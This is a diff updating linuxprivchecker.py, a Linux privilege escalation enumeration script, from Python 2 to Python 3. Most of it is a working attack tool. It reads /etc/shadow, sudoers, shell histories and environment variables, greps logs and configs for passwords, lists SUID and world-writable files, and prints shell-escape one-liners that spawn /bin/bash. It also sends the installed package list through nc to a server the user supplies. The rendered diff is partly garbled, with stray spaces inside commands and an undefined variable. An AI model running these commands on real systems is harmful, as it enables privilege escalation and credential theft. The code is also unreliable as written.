1 - #!/usr/env python 1 + #!/usr/bin / env python3 2 2 3 3 ############################################################################################################### 4 - ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 4 + ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3 5 5 ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 + ## [Updater]: Mike Merrill (linted) 6 7 ##------------------------------------------------------------------------------------------------------------- 7 8 ## [Details]: 8 9 ## This script is intended to be executed locally on a Linux box to enumerate basic system info and skipped 1 lines 10 11 ## passwords and applicable exploits. 11 12 ##------------------------------------------------------------------------------------------------------------- 12 13 ## [Warning]: 13 - ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates , 14 - ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 15 - ## results. For example, the function that links packages to running processes is based on keywords and will 16 - ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. 17 - ## Feel free to change or improve it any way you see fit. 14 + ## This script comes as-is with no promise of functionality or accuracy. 18 15 ##------------------------------------------------------------------------------------------------------------- 19 16 ## [Modification, Distribution, and Attribution]: 20 17 ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 21 - ## author attribution and not attempt to sell it or incorporate it into any commercial offering ( as if it ' s 22 - ## worth anything anyway :) 18 + ## author attribution and not attempt to sell it or incorporate it into any commercial offering. 23 19 ############################################################################################################### 24 20 25 21 # conditional import for older versions of python not compatible with subprocess 26 22 try: 27 - import subprocess as sub 23 + # import subprocess as sub 24 + from subprocess import run, PIPE 28 25 compatmode = 0 # newer version of python, no need for compatibility mode 29 26 except ImportError: 30 - import os # older version of python, need to use os instead 27 + # import os # older version of python, need to use # # # instead 28 + from subprocess import check_output, PIPE 31 29 compatmode = 1 32 30 33 31 # title / formatting 34 - bigline = "=================================================================================================" 35 - smlline = "-------------------------------------------------------------------------------------------------" 32 + bigline = "=" * 80 33 + smlline = "-" * 80 36 34 37 - print bigline 38 - print "LINUX PRIVILEGE ESCALATION CHECKER" 39 - print bigline 40 - print 35 + 36 + 37 + def header(message): 38 + print( bigline ) 39 + print(message) 40 + print(bigline) 41 + print("") 41 42 42 43 # loop through dictionary, execute the commands, store the results, return updated dict 43 44 def execCmd(cmdDict): 44 45 for item in cmdDict: 45 46 cmd = cmdDict[item]["cmd"] 46 - if compatmode == 0: # newer version of python, use preferred subprocess 47 - out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 48 - results = out.split('\n') 49 - else: # older version of python, use os.popen 50 - echo_stdout = os.popen(cmd, 'r') 51 - results = echo_stdout.read().split('\n') 47 + try: 48 + if compatmode == 0: # newer version of python, use preferred subprocess 49 + process = run(cmd, stdout=PIPE, stderr=PIPE, shell=True) 50 + results = process.stdout.decode().split('\n') 51 + else: # older version of python, use os.popen 52 + echo_stdout = check_output(cmd, shell=True) 53 + results = stdout.decode().split('\n') 54 + except Exception as e: 55 + results = ['[-] failed: {}'.format(e)] 52 56 cmdDict[item]["results"]=results 57 + 53 58 return cmdDict 54 59 55 60 # print results for each previously executed command, no return value 56 61 def printResults(cmdDict): 57 62 for item in cmdDict: 58 - msg = cmdDict[item]["msg"]59 - results = cmdDict[item]["results"]60 - print "[+] " + msg 63 + msg = cmdDict[item]["msg"] 64 + results = cmdDict[item]["results"] 65 + print( "[+] " + msg) 61 66 for result in results: 62 - if result.strip() != "":63 - print " " + result.strip()64 - print 67 + if result.strip() != "": 68 + print( " " + result.strip()) 69 + print( " \ n " ) 65 70 return 66 71 67 72 def writeResults(msg, results): skipped 5 lines 73 78 f.close() 74 79 return 75 80 81 + header("LINUX PRIVILEGE ESCALATION CHECKER") 82 + 76 83 # Basic system info 77 - print "[*] GETTING BASIC SYSTEM INFO...\n" 84 + print( "[*] GETTING BASIC SYSTEM INFO...\n") 78 85 79 - results=[] 80 - 81 - sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, 82 - "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, 83 - "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} 84 - } 86 + sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"}, 87 + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"}, 88 + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname"} 89 + } 85 90 86 91 sysInfo = execCmd(sysInfo) 87 92 printResults(sysInfo) 88 93 89 94 # Networking Info 90 95 91 - print "[*] GETTING NETWORKING INFO...\n" 96 + print( "[*] GETTING NETWORKING INFO...\n") 92 97 93 - netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", " results " : results }, 94 - "ROUTE":{"cmd":"route", "msg":"Route", " results " : results },95 - "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", " results " : results }96 - } 98 + netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"}, 99 + "ROUTE":{"cmd":"route", "msg":"Route"}, 100 + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"}, 101 + "IP_Adder":{"cmd":"ip addr", "msg":"ip addr"}, 102 + "IP_Route":{"cmd":"ip route", "msg":"ip route"}, 103 + "SS":{"cmd":"ss -antup", "msg":"ss"} 104 + } 97 105 98 106 netInfo = execCmd(netInfo) 99 107 printResults(netInfo) 100 108 101 109 # File System Info 102 - print "[*] GETTING FILESYSTEM INFO...\n" 110 + print( "[*] GETTING FILESYSTEM INFO...\n") 103 111 104 - driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", " results " : results }, 105 - "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", " results " : results }106 - } 112 + driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"}, 113 + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"} 114 + }107 115 108 116 driveInfo = execCmd(driveInfo) 109 117 printResults(driveInfo) 110 118 111 119 # Scheduled Cron Jobs 112 - cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", " results " : results }, 113 - "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", " results " : results }114 - } 120 + cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"}, 121 + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"} 122 + }115 123 116 124 cronInfo = execCmd(cronInfo) 117 125 printResults(cronInfo) 118 126 119 127 # User Info 120 - print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 128 + print( "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") 121 129 122 - userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", " results " : results }, 123 - "ID":{"cmd":"id","msg":"Current User ID", " results " : results },124 - "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", " results " : results },125 - "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", " results " : results },126 - "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", " results " : results },127 - "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", " results " : results },128 - "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", " results " : results },129 - "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", " results " : results }130 - } 130 + userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"}, 131 + "ID":{"cmd":"id","msg":"Current User ID"}, 132 + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"}, 133 + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"}, 134 + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"}, 135 + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"}, 136 + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"}, 137 + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"} 138 + }131 139 132 140 userInfo = execCmd(userInfo) 133 141 printResults(userInfo) 134 142 135 143 if "root" in userInfo["ID"]["results"][0]: 136 - print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 144 + print( "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") 137 145 138 146 # File/Directory Privs 139 - print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 147 + print( "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") 140 148 141 - fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename ' / home / homedir * ' - prune \ ) - o \ ( - type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", " results " : results }, 142 - "WWDIRS":{"cmd":"find / \( -wholename ' / home / homedir * ' - prune \ ) - o \ ( - type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", " results " : results },143 - "WWFILES":{"cmd":"find / \( -wholename '/home / homedir / * ' - prune - o - wholename ' / proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", " results " : results },144 - "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", " results " : results },145 - "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", " results " : results }146 - } 149 + fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o + w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"}, 150 + "WWDIRS":{"cmd":"find / \( -type d -perm -o + w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"}, 151 + "WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o + w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"}, 152 + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"}, 153 + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"} 154 + }147 155 148 156 fdPerms = execCmd(fdPerms) 149 157 printResults(fdPerms) 150 158 151 - pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", " results " : results }, 152 - "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", " results " : results },153 - "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", " results " : results }154 - } 159 + pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"}, 160 + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"}, 161 + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"} 162 + }155 163 156 164 pwdFiles = execCmd(pwdFiles) 157 165 printResults(pwdFiles) 158 166 159 167 # Processes and Applications 160 - print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 168 + print( "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") 161 169 162 170 if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 163 171 getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 164 172 else: 165 173 getPkgs = "rpm -qa | sort -u" # RH/other 166 174 167 - getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", " results " : results }, 168 - "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", " results " : results } 169 - } 175 + getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"}, 176 + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages"} } 170 177 171 178 getAppProc = execCmd(getAppProc) 172 179 printResults(getAppProc) # comment to reduce output 173 180 174 - otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", " results " : results }, 175 - "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", " results " : results },176 - "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", " results " : results }177 - } 181 + otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"}, 182 + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"}, 183 + "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"} }178 184 179 185 otherApps = execCmd(otherApps) 180 186 printResults(otherApps) 181 187 182 - print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 188 + print( "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") 183 189 184 190 # find the package information for the processes currently running 185 191 # under root or another super user skipped 6 lines 192 198 for proc in procs: # loop through each process 193 199 relatedpkgs = [] # list to hold the packages related to a process 194 200 try: 195 - for user in supusers: # loop through the known super users196 - if (user != "") and (user in proc): # if the process is being run by a super user197 - procname = proc.split(" ")[4] # grab the process name 198 - if "/" in procname:199 - splitname = procname.split("/")200 - procname = splitname[len(splitname)-1]201 - for pkg in pkgs: # loop through the packages 202 - if not len(procname) < 3: # name too short to get reliable package results203 - if procname in pkg: 204 - if procname in procdict: 205 - relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list206 - if pkg not in relatedpkgs:207 - relatedpkgs.append(pkg) # add pkg to the list208 - procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 201 + for user in supusers: # loop through the known super users 202 + if (user != "") and (user in proc): # if the process is being run by a super user 203 + procname = proc.split(" ")[4] # grab the process name 204 + if "/" in procname: 205 + splitname = procname.split("/") 206 + procname = splitname[len(splitname)-1] 207 + for pkg in pkgs: # loop through the packages 208 + if not len(procname) < 3: # name too short to get reliable package results 209 + if procname in pkg: 210 + if procname in procdict: 211 + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 212 + if pkg not in relatedpkgs: 213 + relatedpkgs.append(pkg) # add pkg to the list 214 + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 209 215 except: 210 - pass 216 + pass211 217 212 218 for key in procdict: 213 - print " " + key # print the process name 219 + print( " " + key) # print the process name 214 220 try: 215 221 if not procdict[key][0] == "": # only print the rest if related packages were found 216 - print " Possible Related Packages: " 222 + print( " Possible Related Packages: ") 217 223 for entry in procdict[key]: 218 - print " " + entry # print each related package 224 + print( " " + entry) # print each related package 219 225 except: 220 - pass 226 + pass221 227 222 228 # EXPLOIT ENUMERATION 223 229 224 230 # First discover the avaialable tools 225 - print 226 - print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 231 + print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") 227 232 228 - devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", " results " : results }} 233 + devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}} 229 234 devTools = execCmd(devTools) 230 235 printResults(devTools) 231 236 232 - print "[+] Related Shell Escape Sequences...\n" 237 + print( "[+] Related Shell Escape Sequences...\n") 233 238 escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} 234 239 for cmd in escapeCmd: 235 240 for result in devTools["TOOLS"]["results"]: 236 241 if cmd in result: 237 - for item in escapeCmd[cmd]:238 - print " " + cmd + "-->\t" + item239 - print 240 - print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 242 + for item in escapeCmd[cmd]: 243 + print( " " + cmd + "-->\t" + item) 244 + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") 241 245 242 - question = raw_input ("[?] Would you like to search for possible exploits? [y/N] ") 246 + question = input ("[?] Would you like to search for possible exploits? [y/N] ") 243 247 if 'y' in question.lower(): 244 - server = raw_input ("[?] What is the address of the server? ") 245 - port = raw_input ("[?] What port is the server using? ") 246 - print "[ ] Connecting to {}:{}".format(server,port) 248 + server = input ("[?] What is the address of the server? ") 249 + port = input ("[?] What port is the server using? ") 250 + print( "[ ] Connecting to {}:{}".format(server,port)) 247 251 exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 248 252 exploits_results = execCmd(exploits) 249 253 printResults(exploits) 250 254 251 - print 252 - print "Finished" 253 - print bigline 255 + print("\n[+] Finished") 256 + print(bigline) 254 257